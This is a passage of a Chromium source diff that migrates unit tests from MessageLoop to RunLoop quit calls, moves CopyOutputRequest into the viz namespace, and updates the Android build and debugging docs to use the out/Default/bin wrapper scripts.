+#include "content/browser/renderer_host/render_widget_host_delegate.h"
+
+namespace content {
+
+// A RenderWidgetHostDelegate that does nothing.
+class DummyRenderWidgetHostDelegate : public RenderWidgetHostDelegate {
+ public:
+  DummyRenderWidgetHostDelegate() {}
+  ~DummyRenderWidgetHostDelegate() override {}
+
+ private:
+  // RenderWidgetHostDelegate:
+  void ExecuteEditCommand(
+      const std::string& command,
+      const base::Optional<base::string16>& value) override {}
+  void Cut() override {}
+  void Copy() override {}
+  void Paste() override {}
+  void SelectAll() override {}
+};
+
+}  // namespace content
+
+#endif  // CONTENT_TEST_DUMMY_RENDER_WIDGET_HOST_DELEGATE_H_
diff --git a/content/test/layouttest_support.cc b/content/test/layouttest_support.cc
index 2935288..78de656e 100644
--- a/content/test/layouttest_support.cc
+++ b/content/test/layouttest_support.cc
@@ -17,8 +17,8 @@
 #include "base/threading/thread_task_runner_handle.h"
 #include "build/build_config.h"
 #include "cc/base/switches.h"
-#include "cc/output/copy_output_request.h"
 #include "cc/test/pixel_test_output_surface.h"
+#include "components/viz/common/quads/copy_output_request.h"
 #include "components/viz/test/test_layer_tree_frame_sink.h"
 #include "content/browser/bluetooth/bluetooth_device_chooser_controller.h"
 #include "content/browser/renderer_host/render_process_host_impl.h"
@@ -295,7 +295,7 @@
   using FindLayerTreeFrameSinkCallback =
       base::Callback<viz::TestLayerTreeFrameSink*()>;
   CopyRequestSwapPromise(
-      std::unique_ptr<cc::CopyOutputRequest> request,
+      std::unique_ptr<viz::CopyOutputRequest> request,
       FindLayerTreeFrameSinkCallback find_layer_tree_frame_sink_callback)
       : copy_request_(std::move(request)),
         find_layer_tree_frame_sink_callback_(
@@ -321,7 +321,7 @@
   int64_t TraceId() const override { return 0; }
 
  private:
-  std::unique_ptr<cc::CopyOutputRequest> copy_request_;
+  std::unique_ptr<viz::CopyOutputRequest> copy_request_;
   FindLayerTreeFrameSinkCallback find_layer_tree_frame_sink_callback_;
   viz::TestLayerTreeFrameSink* layer_tree_frame_sink_from_commit_ = nullptr;
 };
@@ -370,7 +370,7 @@
 
   std::unique_ptr<cc::SwapPromise> RequestCopyOfOutput(
       int32_t routing_id,
-      std::unique_ptr<cc::CopyOutputRequest> request) override {
+      std::unique_ptr<viz::CopyOutputRequest> request) override {
     // Note that we can't immediately check layer_tree_frame_sinks_, since it
     // may not have been created yet. Instead, we wait until OnCommit to find
     // the currently active LayerTreeFrameSink for the given RenderWidget
diff --git a/device/bluetooth/bluez/bluetooth_adapter_profile_bluez_unittest.cc b/device/bluetooth/bluez/bluetooth_adapter_profile_bluez_unittest.cc
index a969fb0..4067bb3a 100644
--- a/device/bluetooth/bluez/bluetooth_adapter_profile_bluez_unittest.cc
+++ b/device/bluetooth/bluez/bluetooth_adapter_profile_bluez_unittest.cc
@@ -7,7 +7,6 @@
 #include <memory>
 
 #include "base/bind.h"
-#include "base/message_loop/message_loop.h"
 #include "base/run_loop.h"
 #include "base/test/scoped_task_environment.h"
 #include "device/bluetooth/bluetooth_adapter.h"
@@ -80,7 +79,7 @@
   void AdapterCallback(scoped_refptr<BluetoothAdapter> adapter) {
     adapter_ = adapter;
     if (base::RunLoop::IsRunningOnCurrentThread())
-      base::MessageLoop::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   class FakeDelegate : public bluez::BluetoothProfileServiceProvider::Delegate {
diff --git a/device/bluetooth/bluez/bluetooth_advertisement_bluez_unittest.cc b/device/bluetooth/bluez/bluetooth_advertisement_bluez_unittest.cc
index 170c8063..c766f3c 100644
--- a/device/bluetooth/bluez/bluetooth_advertisement_bluez_unittest.cc
+++ b/device/bluetooth/bluez/bluetooth_advertisement_bluez_unittest.cc
@@ -94,7 +94,7 @@
     ASSERT_NE(adapter_.get(), nullptr);
     ASSERT_TRUE(adapter_->IsInitialized());
     if (base::RunLoop::IsRunningOnCurrentThread())
-      base::MessageLoop::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   std::unique_ptr<BluetoothAdvertisement::Data> CreateAdvertisementData() {
diff --git a/device/bluetooth/bluez/bluetooth_bluez_unittest.cc b/device/bluetooth/bluez/bluetooth_bluez_unittest.cc
index ef58f0a..7a60988 100644
--- a/device/bluetooth/bluez/bluetooth_bluez_unittest.cc
+++ b/device/bluetooth/bluez/bluetooth_bluez_unittest.cc
@@ -166,7 +166,7 @@
   // break out of those loops.
   void QuitMessageLoop() {
     if (base::RunLoop::IsRunningOnCurrentThread())
-      base::MessageLoop::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 };
 
@@ -362,7 +362,7 @@
   // break out of those loops.
   void QuitMessageLoop() {
     if (base::RunLoop::IsRunningOnCurrentThread())
-      base::MessageLoop::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 };
 const char BluetoothBlueZTest::kGapUuid[] =
diff --git a/device/bluetooth/bluez/bluetooth_gatt_bluez_unittest.cc b/device/bluetooth/bluez/bluetooth_gatt_bluez_unittest.cc
index fb0a052..083ac37 100644
--- a/device/bluetooth/bluez/bluetooth_gatt_bluez_unittest.cc
+++ b/device/bluetooth/bluez/bluetooth_gatt_bluez_unittest.cc
@@ -239,7 +239,7 @@
   void AdapterCallback(scoped_refptr<BluetoothAdapter> adapter) {
     adapter_ = adapter;
     if (base::RunLoop::IsRunningOnCurrentThread())
-      base::MessageLoop::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   void SuccessCallback() { ++success_callback_count_; }
@@ -280,7 +280,7 @@
  protected:
   void QuitMessageLoop() {
     if (base::RunLoop::IsRunningOnCurrentThread())
-      base::MessageLoop::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   base::MessageLoop message_loop_;
diff --git a/device/bluetooth/test/test_bluetooth_adapter_observer.cc b/device/bluetooth/test/test_bluetooth_adapter_observer.cc
index ed01c509..e9505da 100644
--- a/device/bluetooth/test/test_bluetooth_adapter_observer.cc
+++ b/device/bluetooth/test/test_bluetooth_adapter_observer.cc
@@ -335,7 +335,7 @@
 
 void TestBluetoothAdapterObserver::QuitMessageLoop() {
   if (base::RunLoop::IsRunningOnCurrentThread())
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 }  // namespace device
diff --git a/device/geolocation/geolocation_provider_impl_unittest.cc b/device/geolocation/geolocation_provider_impl_unittest.cc
index 190c348..d981db7e 100644
--- a/device/geolocation/geolocation_provider_impl_unittest.cc
+++ b/device/geolocation/geolocation_provider_impl_unittest.cc
@@ -48,7 +48,7 @@
  public:
   void OnLocationUpdate(const Geoposition& position) override {
     MockGeolocationObserver::OnLocationUpdate(position);
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 };
 
diff --git a/device/vr/android/gvr/gvr_delegate_provider.h b/device/vr/android/gvr/gvr_delegate_provider.h
index 0aba3290..235017b 100644
--- a/device/vr/android/gvr/gvr_delegate_provider.h
+++ b/device/vr/android/gvr/gvr_delegate_provider.h
@@ -31,7 +31,7 @@
   virtual GvrDelegate* GetDelegate() = 0;
   virtual void OnDisplayAdded(VRDisplayImpl* display) = 0;
   virtual void OnDisplayRemoved(VRDisplayImpl* display) = 0;
-  virtual void OnListeningForActivateChanged(VRDisplayImpl* display);
+  virtual void OnListeningForActivateChanged(VRDisplayImpl* display) = 0;
   virtual void CreateVRDisplayInfo(
       const base::Callback<void(mojom::VRDisplayInfoPtr)>& callback,
       uint32_t device_id) = 0;
diff --git a/docs/android_build_instructions.md b/docs/android_build_instructions.md
index bd2fc6a3..1700380 100644
--- a/docs/android_build_instructions.md
+++ b/docs/android_build_instructions.md
@@ -27,7 +27,7 @@
 Clone the `depot_tools` repository:
 
 ```shell
-$ git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
+git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
 ```
 
 Add `depot_tools` to the end of your PATH (you will probably want to put this
@@ -35,7 +35,7 @@
 to `/path/to/depot_tools`:
 
 ```shell
-$ export PATH="$PATH:/path/to/depot_tools"
+export PATH="$PATH:/path/to/depot_tools"
 ```
 
 ## Get the code
@@ -45,8 +45,8 @@
 long as the full path has no spaces):
 
 ```shell
-$ mkdir ~/chromium && cd ~/chromium
-$ fetch --nohooks android
+mkdir ~/chromium && cd ~/chromium
+fetch --nohooks android
 ```
 
 If you don't want the full repo history, you can save a lot of time by
@@ -64,7 +64,7 @@
 assume you have switched to the `src` directory:
 
 ```shell
-$ cd src
+cd src
 ```
 
 ### Converting an existing Linux checkout
@@ -74,13 +74,13 @@
 directory above `src`):
 
 ```shell
-$ echo "target_os = [ 'android' ]" >> ../.gclient
+echo "target_os = [ 'android' ]" >> ../.gclient
 ```
 
 Then run `gclient sync` to pull the new Android dependencies:
 
 ```shell
-$ gclient sync
+gclient sync
 ```
 
 (This is the only difference between `fetch android` and `fetch chromium`.)
@@ -90,7 +90,7 @@
 Once you have checked out the code, run
 
 ```shell
-$ build/install-build-deps-android.sh
+build/install-build-deps-android.sh
 ```
 
 to get all of the dependencies you need to build on Linux, *plus* all of the
@@ -104,7 +104,7 @@
 things you might need:
 
 ```shell
-$ gclient runhooks
+gclient runhooks
 ```
 
 *Optional*: You can also [install API
@@ -121,7 +121,7 @@
 run:
 
 ```shell
-$ gn gen --args='target_os="android"' out/Default
+gn gen --args='target_os="android"' out/Default
 ```
 
 * You only have to run this once for each new build directory, Ninja will
@@ -143,7 +143,7 @@
 Build Chromium with Ninja using the command:
 
 ```shell
-$ ninja -C out/Default chrome_public_apk
+ninja -C out/Default chrome_public_apk
 ```
 
 You can get a list of all of the other build targets from GN by running `gn ls
@@ -153,15 +153,10 @@
 
 ## Installing and Running Chromium on a device
 
-If the `adb_install_apk.py` script below fails, make sure `aapt` is in your
-PATH. If not, add `aapt`'s parent directory to your `PATH` environment variable
-(it should be
-`/path/to/src/third_party/android_tools/sdk/build-tools/{latest_version}/`).
-
 Prepare the environment:
 
 ```shell
-$ . build/android/envsetup.sh
+. build/android/envsetup.sh
 ```
 
 ### Plug in your Android device
@@ -197,7 +192,7 @@
 And deploy it to your Android device:
 
 ```shell
-build/android/adb_install_apk.py out/Default/apks/ChromePublic.apk
+out/Default/bin/chrome_public_apk install
 ```
 
 The app will appear on the device as "Chromium".
@@ -210,19 +205,12 @@
 
 ```shell
 ninja -C out/Default content_shell_apk
-build/android/adb_install_apk.py out/Default/apks/ContentShell.apk
+out/Default/bin/content_shell_apk install
 ```
 
 this will build and install an Android apk under
 `out/Default/apks/ContentShell.apk`.
 
-If you use custom out dir instead of standard out/ dir, use
-CHROMIUM_OUT_DIR env.
-
-```shell
-export CHROMIUM_OUT_DIR=out_android
-```
-
 ### Build WebView
 
 [Android WebView](https://developer.android.com/reference/android/webkit/WebView.html)
@@ -236,40 +224,35 @@
 
 ### Running
 
-Set [command line flags](https://www.chromium.org/developers/how-tos/run-chromium-with-flags) if necessary.
-
 For Content shell:
 
 ```shell
-build/android/adb_run_content_shell  http://example.com
+out/Default/bin/content_shell_apk launch [--args='--foo --bar'] http://example.com
 ```
 
 For Chrome public:
 
 ```shell
-build/android/adb_run_chrome_public  http://example.com
+out/Default/bin/chrome_public_apk launch [--args='--foo --bar'] http://example.com
 ```
 
 ### Logging and debugging
 
 Logging is often the easiest way to understand code flow. In C++ you can print
-log statements using the LOG macro or printf(). In Java, you can print log
-statements using [android.util.Log](https://developer.android.com/reference/android/util/Log.html):
+log statements using the LOG macro. In Java, refer to
+[android_logging.md](android_logging.md).
 
-`Log.d("sometag", "Reticulating splines progress = " + progress);`
-
-You can see these log statements using adb logcat:
+You can see these log via `adb logcat`, or:
 
 ```shell
-adb logcat...01-14 11:08:53.373 22693 23070 D sometag: Reticulating splines progress = 0.99
+out/Default/bin/chrome_public_apk logcat
 ```
 
-You can debug Java or C++ code. To debug C++ code, use one of the
-following commands:
+To debug C++ code, use one of the following commands:
 
 ```shell
-build/android/adb_gdb_content_shell
-build/android/adb_gdb_chrome_public
+out/Default/bin/content_shell_apk gdb
+out/Default/bin/chrome_public_apk gdb
 ```
 
 See [Android Debugging Instructions](android_debugging_instructions.md)
@@ -279,9 +262,9 @@
 
 For information on running tests, see [Android Test Instructions](android_test_instructions.md).
 
-### Faster Edit/Deploy (GN only)
+### Faster Edit/Deploy
 
-GN's "incremental install" uses reflection and side-loading to speed up the edit
+"Incremental install" uses reflection and side-loading to speed up the edit
 & deploy cycle (normally < 10 seconds). The initial launch of the apk will be
 a little slower since updated dex files are installed manually.
 
@@ -293,11 +276,11 @@
 
 ```shell
 ninja -C out/Default chrome_public_apk_incremental
-out/Default/bin/install_chrome_public_apk_incremental -v
+out/Default/bin/chrome_public_apk install --incremental --verbose
 ```
 
 For gunit tests (note that run_*_incremental automatically add
---fast-local-dev when calling test\_runner.py):
+`--fast-local-dev` when calling `test_runner.py`):
 
 ```shell
 ninja -C out/Default base_unittests_incremental
@@ -314,29 +297,17 @@
 To uninstall:
 
 ```shell
-out/Default/bin/install_chrome_public_apk_incremental -v --uninstall
+out/Default/bin/chrome_public_apk uninstall
 ```
 
-A subtly erroneous flow arises when you build a regular apk but install an
-incremental apk (e.g.
-`ninja -C out/Default foo_apk && out/Default/bin/install_foo_apk_incremental`).
-Setting `incremental_apk_by_default = true` in your GN args aliases regular
-targets as their incremental counterparts. With this arg set, the commands
-above become:
+To avoid typing `_incremental` when building targets, you can use the GN arg:
 
-```shell
-ninja -C out/Default chrome_public_apk
-out/Default/bin/install_chrome_public_apk
-
-ninja -C out/Default base_unittests
-out/Default/bin/run_base_unittests
-
-ninja -C out/Default chrome_public_test_apk
-out/Default/bin/run_chrome_public_test_apk
+```
+incremental_apk_by_default = true
 ```
 
-If you want to build a non-incremental apk you'll need to remove
-`incremental_apk_by_default` from your GN args.
+This will make `chrome_public_apk` build in incremental mode.
+
 
 ## Tips, tricks, and troubleshooting
 
diff --git a/docs/android_cast_build_instructions.md b/docs/android_cast_build_instructions.md
index 835c5fb..f6114d1 100644
--- a/docs/android_cast_build_instructions.md
+++ b/docs/android_cast_build_instructions.md
@@ -141,18 +141,13 @@
 
 ## Build cast\_shell\_apk
 
-Build cast\_shell\_apk with Ninja using the command:
+Build `cast_shell_apk` with Ninja using the command:
 
 ```shell
 $ ninja -C out/Default cast_shell_apk
 ```
 
-## Installing and Running cast\_shell\_apk on a device
-
-If the `adb_install_apk.py` script below fails, make sure `aapt` is in your
-PATH. If not, add `aapt`'s parent directory to your `PATH` environment variable
-(it should be
-`/path/to/src/third_party/android_tools/sdk/build-tools/{latest_version}/`).
+## Installing and Running `cast_shell_apk` on a device
 
 Prepare the environment:
 
@@ -193,178 +188,13 @@
 And deploy it to your Android device:
 
 ```shell
-build/android/adb_install_apk.py out/Default/apks/CastShell.apk
-adb shell am start -d "http://google.com" org.chromium.chromecast.shell/.CastShellActivity
-
+out/Default/bin/cast_shell_apk install
+# Or to install and run:
+out/Default/bin/cast_shell_apk run "http://google.com"
 ```
 
 The app will appear on the device as "Chromium".
 
-### Build Content shell
-
-Wraps the content module (but not the /chrome embedder). See
-[https://www.chromium.org/developers/content-module](https://www.chromium.org/developers/content-module)
-for details on the content module and content shell.
-
-```shell
-ninja -C out/Release content_shell_apk
-build/android/adb_install_apk.py out/Release/apks/ContentShell.apk
-```
-
-this will build and install an Android apk under
-`out/Release/apks/ContentShell.apk`. (Where `Release` is the name of your build
-directory.)
-
-If you use custom out dir instead of standard out/ dir, use
-CHROMIUM_OUT_DIR env.
-
-```shell
-export CHROMIUM_OUT_DIR=out_android
-```
-
-### Build WebView shell
-
-[Android WebView](https://developer.android.com/reference/android/webkit/WebView.html)
-is a system framework component. Since Android KitKat, it is implemented using
-Chromium code (based off the [content module](https://dev.chromium.org/developers/content-module)).
-It is possible to test modifications to WebView using a simple test shell. The
-WebView shell is a view with a URL bar at the top (see [code](https://code.google.com/p/chromium/codesearch#chromium/src/android_webview/test/shell/src/org/chromium/android_webview/test/AwTestContainerView.java))
-and is **independent** of the WebView **implementation in the Android system** (
-the WebView shell is essentially a standalone unbundled app).
-As drawback, the shell runs in non-production rendering mode only.
-
-```shell
-ninja -C out/Release webview_instrumentation_apk
-build/android/adb_install_apk.py out/Release/apks/WebViewInstrumentation.apk
-```
-
-If, instead, you want to build the complete Android WebView framework component and test the effect of your chromium changes in other Android app using the WebView, you should follow the [Android AOSP + chromium WebView instructions](https://www.chromium.org/developers/how-tos/build-instructions-android-webview)
-
-### Running
-
-Set [command line flags](https://www.chromium.org/developers/how-tos/run-chromium-with-flags) if necessary.
-
-For Content shell:
-
-```shell
-build/android/adb_run_content_shell  http://example.com
-```
-
-For Chrome public:
-
-```shell
-build/android/adb_run_chrome_public  http://example.com
-```
-
-For Android WebView shell:
-
-```shell
-build/android/adb_run_android_webview_shell http://example.com
-```
-
-### Logging and debugging
-
-Logging is often the easiest way to understand code flow. In C++ you can print
-log statements using the LOG macro or printf(). In Java, you can print log
-statements using [android.util.Log](https://developer.android.com/reference/android/util/Log.html):
-
-`Log.d("sometag", "Reticulating splines progress = " + progress);`
-
-You can see these log statements using adb logcat:
-
-```shell
-adb logcat...01-14 11:08:53.373 22693 23070 D sometag: Reticulating splines progress = 0.99
-```
-
-You can debug Java or C++ code. To debug C++ code, use one of the
-following commands:
-
-```shell
-build/android/adb_gdb_content_shell
-build/android/adb_gdb_chrome_public
-build/android/adb_gdb_android_webview_shell http://example.com
-```
-
-See [Android Debugging Instructions](android_debugging_instructions.md)
-for more on debugging, including how to debug Java code.
-
 ### Testing
 
 For information on running tests, see [Android Test Instructions](android_test_instructions.md).
-
-### Faster Edit/Deploy (GN only)
-
-GN's "incremental install" uses reflection and side-loading to speed up the edit
-& deploy cycle (normally < 10 seconds). The initial launch of the apk will be
-a little slower since updated dex files are installed manually.
-
-*   Make sure to set` is_component_build = true `in your GN args
-*   All apk targets have \*`_incremental` targets defined (e.g.
-    `chrome_public_apk_incremental`) except for Webview and Monochrome
-
-Here's an example:
-
-```shell
-ninja -C out/Default chrome_public_apk_incremental
-out/Default/bin/install_chrome_public_apk_incremental -v
-```
-
-For gunit tests (note that run_*_incremental automatically add
---fast-local-dev when calling test\_runner.py):
-
-```shell
-ninja -C out/Default base_unittests_incremental
-out/Default/bin/run_base_unittests_incremental
-```
-
-For instrumentation tests:
-
-```shell
-ninja -C out/Default chrome_public_test_apk_incremental
-out/Default/bin/run_chrome_public_test_apk_incremental
-```
-
-To uninstall:
-
-```shell
-out/Default/bin/install_chrome_public_apk_incremental -v --uninstall
-```
-
-A subtly erroneous flow arises when you build a regular apk but install an
-incremental apk (e.g.
-`ninja -C out/Default foo_apk && out/Default/bin/install_foo_apk_incremental`).
-Setting `incremental_apk_by_default = true` in your GN args aliases regular
-targets as their incremental counterparts. With this arg set, the commands
-above become:
-
-```shell
-ninja -C out/Default chrome_public_apk
-out/Default/bin/install_chrome_public_apk
-
-ninja -C out/Default base_unittests
-out/Default/bin/run_base_unittests
-
-ninja -C out/Default chrome_public_test_apk
-out/Default/bin/run_chrome_public_test_apk
-```
-
-If you want to build a non-incremental apk you'll need to remove
-`incremental_apk_by_default` from your GN args.
-
-## Tips, tricks, and troubleshooting
-
-### Rebuilding libchrome.so for a particular release
-
-These instructions are only necessary for Chrome 51 and earlier.
-
-In the case where you want to modify the native code for an existing
-release of Chrome for Android (v25+) you can do the following steps.
-Note that in order to get your changes into the official release, you'll
-need to send your change for a codereview using the regular process for
-committing code to chromium.
-
-1.  Open Chrome on your Android device and visit chrome://version
-2.  Copy down the id listed next to "Build ID:"
-3.  Go to
-    [http://storage.googleapis.com/chrome-browser-components/BUILD\_ID\_FROM\_STEP\_2/index.html](http://storage.googleapis.com/chrome-browser-components/BUILD_ID_FROM_STEP_2/index.html)
-4.  Download the listed files and follow the steps in the README.
diff --git a/docs/android_debugging_instructions.md b/docs/android_debugging_instructions.md
index 3c4eba2a..705b538 100644
--- a/docs/android_debugging_instructions.md
+++ b/docs/android_debugging_instructions.md
@@ -5,27 +5,13 @@
 
 [TOC]
 
-## Setting up command line flags
-
-Various commands below requires setting up command line flags.
-
-```shell
-# Content shell
-build/android/adb_content_shell_command_line --flags --to-pass
-# Chromium test shell
-build/android/adb_chrome_shell_command_line --flags --to-pass
-```
-
 ## Launching the app
 
-You can launch the app by using one of the wrappers. You can pass URLs directly
-too.
+You can launch the app by using one of the wrappers.
 
 ```shell
-# Content shell
-build/android/adb_run_content_shell 'data:text/html;utf-8,<html>Hello World!</html>'
-# Chromium test shell
-build/android/adb_run_chrome_shell 'data:text/html;utf-8,<html>Hello World!</html>'
+out/Default/bin/content_shell_apk launch [--args='--foo --bar'] 'data:text/html;utf-8,<html>Hello World!</html>'
+out/Default/bin/chrome_public_apk launch [--args='--foo --bar'] 'data:text/html;utf-8,<html>Hello World!</html>'
 ```
 
 ## Log output
@@ -37,6 +23,8 @@
 
 ```shell
 adb logcat chromium:V cr.SomeComponent:V *:W
+# or:
+out/Default/bin/chrome_public_apk logcat
 ```
 
 ### Warnings for Blink developers
@@ -126,24 +114,20 @@
 Under `build/android`, there are a few scripts:
 
 ```shell
-# Convenient wrappers
-build/android/adb_gdb_content_shell
-build/android/adb_gdb_chrome_shell
-
-# Underlying script, try --help for comprehensive list of options
-build/android/adb_gdb
+out/Default/bin/content_shell_apk gdb
+out/Default/bin/chrome_public_apk gdb
 ```
 
 By default, these wrappers will attach to the browser process.
 
-You can also attach to the renderer process by using `--sandboxed`. (You might
-need to be root on the phone for that. Run `adb root` if needed)
+You can also attach to the renderer process by using `--args='--sandboxed'`.
+You might need to be root on the phone for that. Run `adb root` if needed)
 
 ## Waiting for Debugger on Early Startup
 
 Set the target command line flag with `--wait-for-debugger`.
 
-Launch the debugger using one of the `adb_gdb` scripts from above.
+Launch the debugger using one of the scripts from above.
 
 Type `info threads` and look for a line like:
 
diff --git a/docs/chrome_settings.md b/docs/chrome_settings.md
index a4a6eb32..fddfffc7 100644
--- a/docs/chrome_settings.md
+++ b/docs/chrome_settings.md
@@ -1,126 +1,9 @@
 # Deprecation
 
-This doc refers to "options", the soon-to-be-deprecated version of
-chrome://settings being replaced by Material Design Settings.
+This doc described the "options" UI, previously at chrome://settings-frame,
+which is now deprecated.
 
 **Any new features and bug fixes should be contributed to MD Settings, found in
 the /settings/ directories (as opposed to the /options/ directories).**
 
 See: https://www.chromium.org/developers/updating-webui-for-material-design
-
-Note: As the soft launch begins, chrome://settings may start surfacing the
-Material Design settings page. The deprecated "options" page will be available
-during this time at chrome://settings-frame, but will eventually be removed.
-
-# Outdated
-
-The remainder of this doc has not been substantially updated in some time, but
-is generally correct. Contact /options/ OWNERS if you have questions, but see
-the deprecation notice above.
-
-## What is chrome://settings?
-
-Chrome (version 10 and above) uses WebUI settings by default for all platforms.
-Access it via the wrench menu ("Preferences" on Mac and Linux; "Options" on
-Windows and Chrome OS), or by typing chrome://settings into the address bar.
-
-One advantage of chrome://settings over platform-native dialogs is that it is
-shared by all platforms; therefore, it is easier to add new options UI and to
-keep all platforms in sync.
-
-Note that at the time of this writing, DOMUI is being renamed to WebUI. The two
-terms will be used interchangeably herein.
-
-## Moving parts
-
-### String resources
-
-Strings live in `chrome/app/generated_resources.grd`. There are several rules
-governing the format of strings:
-
-*   the **casing of button text** depends on the platform. If your string will
-    be displayed on a button, you need to add it twice, in sentence case and
-    title case. Follow examples inside `<if expr="pp_ifdef('use_titlecase')">`
-    blocks. Do this even if your string is a single word because it may not be a
-    single word in another locale.
-*   strings that are associated with form controls (buttons, checkboxes,
-    dropdowns, etc.) should NOT have **trailing punctuation**. Standalone
-    strings, such as sectional descriptive text, should have trailing
-    punctuation.
-*   strings may be different between Google Chrome and chromium. If they differ
-    only in **product name**, put them in `generated_resources.grd` and use
-    product name placeholders; if they differ more substantially, use
-    `chromium_strings.grd` and `google_chrome_strings.grd`.
-
-### WebUI Handlers
-
-The C++ WebUI handler classes for chrome://settings live in
-`chrome/browser/ui/webui/options/`. These objects both handle messages from and
-dispatch messages to the page. Each handler is a logical grouping of related
-functionality. Hence `ContentSettingsHandler` is both the delegate and
-controller of the content settings subpage.
-
-A handler sends a message to the page via `dom_ui_->CallJavascriptFunction()`
-and registers for messages from the page via
-`dom_ui_->RegisterMessageCallback()`.
-
-### HTML/CSS/JS
-
-The HTML, CSS, and JS resources live in `chrome/browser/resources/options`. They
-are compiled into one resource at compile time by grit, via `<link>`, `<src>`
-and `<include>` tags in `options.html`. There is no need to add new files to any
-`.gyp` file.
-
-Some things that are good to know:
-
-*   JS objects are bound to HTML nodes via `decorate()`.  * Javascript calls
-    into C++ via `chrome.send`.  * Some automatic preference handling is
-    provided in `preferences.js` and `pref_ui.js`.  * Strings defined in a WebUI
-    handler are available via `localStrings.getString()` and friends.
-
-## Example: adding a simple pref
-
-Suppose you want to add a pref controlled by a **checkbox**.
-
-### 1. Getting UI approval
-
-Ask one of the UI leads where your option belongs. First point of contact should
-be Alex Ainslie <ainslie at chromium>.
-
-### 2. Adding Strings
-
-Add the string to `chrome/app/generated_resources.grd` near related strings. No
-trailing punctuation; sentence case.
-
-### 3. Changing WebUI Handler
-
-For simple prefs, the UI is kept in sync with the value automagically (see
-`CoreOptionsHandler`). Find the handler most closely relevant to your pref. The
-only action we need take here is to make the page aware of the new string.
-Locate the method in the handler called `GetLocalizedStrings` and look at its
-body for examples of `SetString` usage. The first parameter is the JavaScript
-name for the string.
-
-### 4. HTML/CSS/JS
-
-An example of the form a checkbox should take in html:
-
-```html
-<label class="checkbox">
-  <input id="clear-cookies-on-exit"
-       pref="profile.clear_site_data_on_exit" type="checkbox">
-  <span>$i18n{clearCookiesOnExit}</span>
-</label>
-```
-
-Of note:
-
-*   the `checkbox` class allows us to style all checkboxes the same via CSS
-*   the class and ID are in dash-form * the $i18n{} value is in camelCase
-*   the pref attribute matches that which is defined in
-    `chrome/common/pref_names.cc` and allows the prefs framework to
-    automatically keep it in sync with the value in C++
-*   the `$i18n{}` value matches the string we defined in the WebUI handler.
-    The `$i18n{}` will automatically be set to the associated text.
-
-In this example, no additional JS or CSS are needed.
diff --git a/docs/task_scheduler_migration.md b/docs/task_scheduler_migration.md
index 6eaad14..47e27e9 100644
--- a/docs/task_scheduler_migration.md
+++ b/docs/task_scheduler_migration.md
@@ -107,6 +107,7 @@
 * BrowserThread::PostTaskAndReplyWithResult() -> base::PostTaskAndReplyWithResult()
   (from post_task.h or from task_runner_util.h (if you need to feed a TaskRunner))
 * BrowserThread::DeleteOnThread -> base::DeleteOnTaskRunner / base::RefCountedDeleteOnSequence
+* BrowserMessageFilter::OverrideThreadForMessage() -> BrowserMessageFilter::OverrideTaskRunnerForMessage()
 * CreateSingleThreadTaskRunnerWithTraits() -> CreateSequencedTaskRunnerWithTraits()
    * Every CreateSingleThreadTaskRunnerWithTraits() usage should be accompanied
      with a comment and ideally a bug to make it sequence when the sequence-unfriendly
diff --git a/extensions/browser/api/alarms/alarms_api_unittest.cc b/extensions/browser/api/alarms/alarms_api_unittest.cc
index dfaac4a..7189894 100644
--- a/extensions/browser/api/alarms/alarms_api_unittest.cc
+++ b/extensions/browser/api/alarms/alarms_api_unittest.cc
@@ -38,7 +38,7 @@
   void OnAlarm(const std::string& extension_id, const Alarm& alarm) override {
     alarms_seen.push_back(alarm.js_alarm->name);
     if (base::RunLoop::IsRunningOnCurrentThread())
-      base::MessageLoop::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   std::vector<std::string> alarms_seen;
diff --git a/extensions/browser/extension_icon_image_unittest.cc b/extensions/browser/extension_icon_image_unittest.cc
index ab7de28..552d903 100644
--- a/extensions/browser/extension_icon_image_unittest.cc
+++ b/extensions/browser/extension_icon_image_unittest.cc
@@ -8,7 +8,6 @@
 
 #include "base/json/json_file_value_serializer.h"
 #include "base/macros.h"
-#include "base/message_loop/message_loop.h"
 #include "base/path_service.h"
 #include "base/run_loop.h"
 #include "content/public/test/test_browser_context.h"
@@ -119,7 +118,7 @@
   void OnExtensionIconImageChanged(IconImage* image) override {
     image_loaded_count_++;
     if (quit_in_image_loaded_)
-      base::MessageLoop::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   gfx::ImageSkia GetDefaultIcon() {
diff --git a/extensions/browser/file_reader_unittest.cc b/extensions/browser/file_reader_unittest.cc
index 346c87d..1e65242 100644
--- a/extensions/browser/file_reader_unittest.cc
+++ b/extensions/browser/file_reader_unittest.cc
@@ -46,7 +46,7 @@
   void DidReadFile(bool success, std::unique_ptr<std::string> data) {
     succeeded_ = success;
     data_ = std::move(data);
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   bool succeeded_;
diff --git a/extensions/browser/image_loader_unittest.cc b/extensions/browser/image_loader_unittest.cc
index 9ec4490..5a951a8 100644
--- a/extensions/browser/image_loader_unittest.cc
+++ b/extensions/browser/image_loader_unittest.cc
@@ -9,7 +9,6 @@
 #include "base/files/file_path.h"
 #include "base/json/json_file_value_serializer.h"
 #include "base/macros.h"
-#include "base/message_loop/message_loop.h"
 #include "base/path_service.h"
 #include "base/run_loop.h"
 #include "base/strings/string_util.h"
@@ -44,14 +43,14 @@
   void OnImageLoaded(const gfx::Image& image) {
     image_loaded_count_++;
     if (quit_in_image_loaded_)
-      base::MessageLoop::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
     image_ = image;
   }
 
